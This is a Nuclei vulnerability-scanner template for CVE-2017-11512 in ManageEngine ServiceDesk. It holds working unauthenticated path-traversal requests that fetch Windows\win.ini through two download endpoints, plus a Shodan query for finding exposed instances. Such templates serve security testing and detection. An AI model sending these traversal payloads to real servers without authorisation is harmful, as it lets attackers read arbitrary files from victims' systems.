id: CVE-2017-11512

info:
  name: ManageEngine ServiceDesk 9.3.9328 - Arbitrary File Retrieval
  author: 0x_Akoko
  severity: high
  description: |
    ManageEngine ServiceDesk 9.3.9328 is vulnerable to an arbitrary file retrieval due to improper restrictions of the pathname used in the name parameter for the download-snapshot path. An unauthenticated remote attacker can use this vulnerability to download arbitrary files.
  remediation: |
    Upgrade to a patched version of ManageEngine ServiceDesk 9.3.9328 or apply the necessary security patches.
  reference:
    - https://exploit.kitploit.com/2017/11/manageengine-servicedesk-cve-2017-11512.html
    - https://www.tenable.com/security/research/tra-2017-31
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11512
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-11512
    cwe-id: CWE-22
    epss-score: 0.97175
    epss-percentile: 0.99739
    cpe: cpe:2.3:a:manageengine:servicedesk:9.3.9328:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: manageengine
    product: servicedesk
    shodan-query: http.title:"ManageEngine"
  tags: cve,cve2017,manageengine,lfr,unauth,tenable

http:
  - method: GET
    path:
      - '{{BaseURL}}/fosagent/repl/download-file?basedir=4&filepath=..\..\Windows\win.ini'
      - '{{BaseURL}}/fosagent/repl/download-snapshot?name=..\..\..\..\..\..\..\Windows\win.ini'

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and